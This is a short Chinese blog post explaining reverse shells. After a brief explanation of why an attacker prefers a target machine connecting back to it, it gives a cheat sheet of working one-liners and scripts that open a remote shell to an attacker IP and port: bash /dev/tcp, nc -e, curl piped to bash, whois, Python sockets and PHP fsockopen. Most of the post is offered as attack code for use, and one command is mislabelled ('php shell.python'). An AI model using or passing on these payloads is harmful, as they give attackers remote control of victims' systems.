MENU

为什么要反弹Shell

2020 年 12 月 22 日 • 阅读: 75 • 阅读设置

反弹shell

What?

  • 攻击方的机器监听某TCP/UDP端口,被攻击的机器发起请求连接到攻击方的监听端口,攻击方通过该连接将命令输入到被攻击方的机器

Why?

  • 无法使用正向连接
  1. 主机在内网,无法直连
  2. 主机为动态IP,无法持续控制
  3. 因为防火墙导致主机只能发送请求,无法接受请求
  4. 无法获取主机的网络环境,只能等主机自动连接
  5. 主机权限不足,无法正向连接
  6. 主机端口被占用,无法正向连接

常用姿势

反弹Shell常用的几种方法

Linux

bash反弹

bash -i >& /dev/tcp/IP/port 0>&1
bash -c '{echo,第一种bash反弹的base64编码}|{base64,-d}|{bash,-i}'

nc反弹

nc -e /bin/bash IP port

curl反弹

curl IP/一句话HTML文件|bash

whois反弹

whois -h IP -p port `命令`

(只能执行后面的shell命令)

python一句话反弹

import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("IP", port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])

python脚本反弹

  • 通WEB服务,在被攻击的主机上下载该脚本,并执行,以实现反弹Shell
  • 将下列代码保存为shell.python脚本,下载成功后,在被攻击的主机上执行php shell.python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

PHP一句话反弹

php -r '$sock=fsockopen("IP",port);exec("/bin/sh -i <&3 >&3 2>&3");'

PHP脚本反弹

  • 通过WEB服务,在被攻击的主机上下载该脚本,并执行,以实现反弹Shell
  • 将下列代码保存为shell.php脚本,下载成功后,在被攻击的主机上执行php shell.php
<?php $sock=fsockopen("IP",port);exec("/bin/sh -i <&3 >&3 2>&3");?>
最后编辑于: 2020 年 12 月 28 日
返回文章列表 文章二维码 打赏
本页链接的二维码
打赏二维码